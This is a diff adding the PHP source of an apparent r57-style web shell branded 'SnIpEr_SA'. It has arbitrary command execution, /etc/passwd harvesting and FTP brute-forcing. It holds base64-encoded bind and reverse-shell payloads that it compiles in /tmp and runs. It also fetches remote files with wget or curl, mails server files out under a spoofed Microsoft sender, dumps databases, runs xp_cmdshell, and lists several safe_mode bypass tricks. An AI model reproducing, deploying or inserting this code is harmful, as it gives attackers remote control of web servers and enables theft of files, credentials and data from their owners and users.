+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " 4 ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if(isset($_GET['users']))
+ {
+ if(!$users=get_users()) { echo " ".$lang[$language.'_text96']." "; }
+ else
+ {
+ echo '';
+ foreach($users as $user) { echo $user." "; }
+ echo ' ';
+ }
+ echo " "; die();
+ }
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $unix = 0; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function get_users()
+{
+ $users = array();
+ $rows=file('/etc/passwd');
+ if(!$rows) return 0;
+ foreach ($rows as $string)
+ {
+ $user = @explode(":",$string);
+ if(substr($string,0,1)!='#') array_push($users,$user[0]);
+ }
+ return $users;
+}
+function err($n,$txt='')
+{
+echo '';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+function perms($mode)
+{
+if (!$GLOBALS['unix']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value,$checked=0)
+{
+ $ret = " ";
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err(0);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GF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
+1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
+if($unix)
+ {
+ if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
+ if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
+ if($safe_mode) { $sysctl = '-'; }
+ else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
+ else
+ {
+ $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
+ if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
+ if(empty($sysctl)) { $sysctl = '-'; }
+ setcookie('sysctl',$sysctl);
+ }
+ }
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print " ";
+@readfile ("http://127.0.0.1/r57shell_version/version.php?version=".$current_version."");}}
+echo ''.ws(2).'N '.ws(2).'SnIpEr_SA ';
+echo ws(2)."".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+if($unix)
+ {
+ echo ws(2).$lb." cpu ".$rb;
+ echo ws(2).$lb." mem ".$rb;
+ echo ws(2).$lb." users ".$rb;
+ }
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2)."ÇáæÖÚ ÇáÇãä: ";
+echo (($safe_mode)?("ÝÚÇá "):("ÛíÑ ÝÚÇá "));
+echo " ".ws(2);
+echo "ÇÕÏÇÑ ÇáÈí ÇÊÔ Èí: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "ÇáßíÑá: ".(($curl_on)?("ÝÚÇá "):("ÛíÑ ÝÚÇá "));
+echo " ".ws(2);
+echo "ãÇí Óßá: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ÝÚÇá "; } else { echo "ÛíÑ ÝÚÇá "; }
+echo " ".ws(2);
+echo "Çã ÇÓ Óßá: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ÝÚÇá ";}else{echo "ÛíÑ ÝÚÇá ";}
+echo " ".ws(2);
+echo "ÈæÓÊ ÞÑí Óßá: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ÝÚÇá ";}else{echo "ÛíÑ ÝÚÇá ";}
+echo " ".ws(2);
+echo "ÇæÑÇßá: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ÝÚÇá ";}else{echo "ãÛáÞ ";}
+echo " ".ws(2);
+echo "ÇáÏæÇá ÇáããäæÚÉ : ";
+if(''==($df=@ini_get('disable_functions'))){echo "áÇíæÌÏ ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+echo " ".ws(2)."ÇáãÓÇÍÉ ÇáÎÇáíå : ".view_size($free)." ÇáãÓÇÍÉ ÇáßáíÉ: ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if($unix){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+if(!empty($id)) { echo ws(3).$id." "; }
+else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
+ {
+ $euserinfo = @posix_getpwuid(@posix_geteuid());
+ $egroupinfo = @posix_getgrgid(@posix_getegid());
+ echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' ) ';
+ }
+else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." ";
+echo ws(3).$dir;
+echo ws(3).'( '.perms(@fileperms($dir)).' )';
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@getenv("USERNAME")." ";
+echo ws(3).$dir;
+echo " ";
+}
+echo "";
+echo "
";
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
+ {
+ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
+ {
+ if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
+ else
+ {
+ $filename = @basename($_POST['loc_file']);
+ $filedump = @fread($file,@filesize($_POST['loc_file']));
+ fclose($file);
+ $content_encoding=$mime_type='';
+ compress($filename,$filedump,$_POST['compress']);
+ $attach = array(
+ "name"=>$filename,
+ "type"=>$mime_type,
+ "content"=>$filedump
+ );
+ if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; }
+ if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
+ $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
+ err(6+$res);
+ $_POST['cmd']="";
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ $mtime = @filemtime($_POST['e_name']);
+ if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
+ else {
+ if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
+ @fwrite($file,$_POST['e_text']);
+ @touch($_POST['e_name'],$mtime,$mtime);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); }
+ else
+ {
+ if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
+ else
+ {
+ if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
+ if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
+ }
+ }
+ @ftp_close($connection);
+ $_POST['cmd'] = "";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
+ {
+ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
+ if(empty($ftp_port)) { $ftp_port = 21; }
+ $connection = @ftp_connect ($ftp_server,$ftp_port,10);
+ if(!$connection) { err(3); $_POST['cmd'] = ""; }
+ else if(!$users=get_users()) { echo "".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; }
+ @ftp_close($connection);
+ }
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table");
+ @mysql_query("CREATE TABLE `temp_SnIpEr_SA_table` ( `file` LONGBLOB NOT NULL )");
+ @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
+ $r = @mysql_query("SELECT * FROM temp_SnIpEr_SA_table");
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ @mysql_query("DROP TABLE IF EXISTS temp_SnIpEr_SA_table");
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table SnIpEr_SA_temp_table",$db);
+ @mssql_query("create table SnIpEr_SA_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into SnIpEr_SA_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from SnIpEr_SA_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table SnIpEr_SA_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'test5':
+ if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
+ $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
+ @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
+ $lines = file ('/tmp/mb_send_mail');
+ foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
+ break;
+ case 'test6':
+ $stream = @imap_open('/etc/passwd', "", "");
+ $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
+ for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
+ @imap_close($stream);
+ break;
+ case 'test7':
+ $stream = @imap_open($_POST['test7_file'], "", "");
+ $str = @imap_body($stream, 1);
+ echo $str;
+ @imap_close($stream);
+ break;
+ case 'test8':
+ if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
+ else echo $lang[$language.'_text119'];
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
+ $cmd_rep = ex($_POST['cmd']);
+ if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse'])) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
+ else {
+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
+ else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
+ else { echo "[-] ERROR! Can't write in dump file"; }
+ }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+function div_title($title, $id)
+{
+ return ''.$title.' ';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '';
+ return '
';
+ }
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
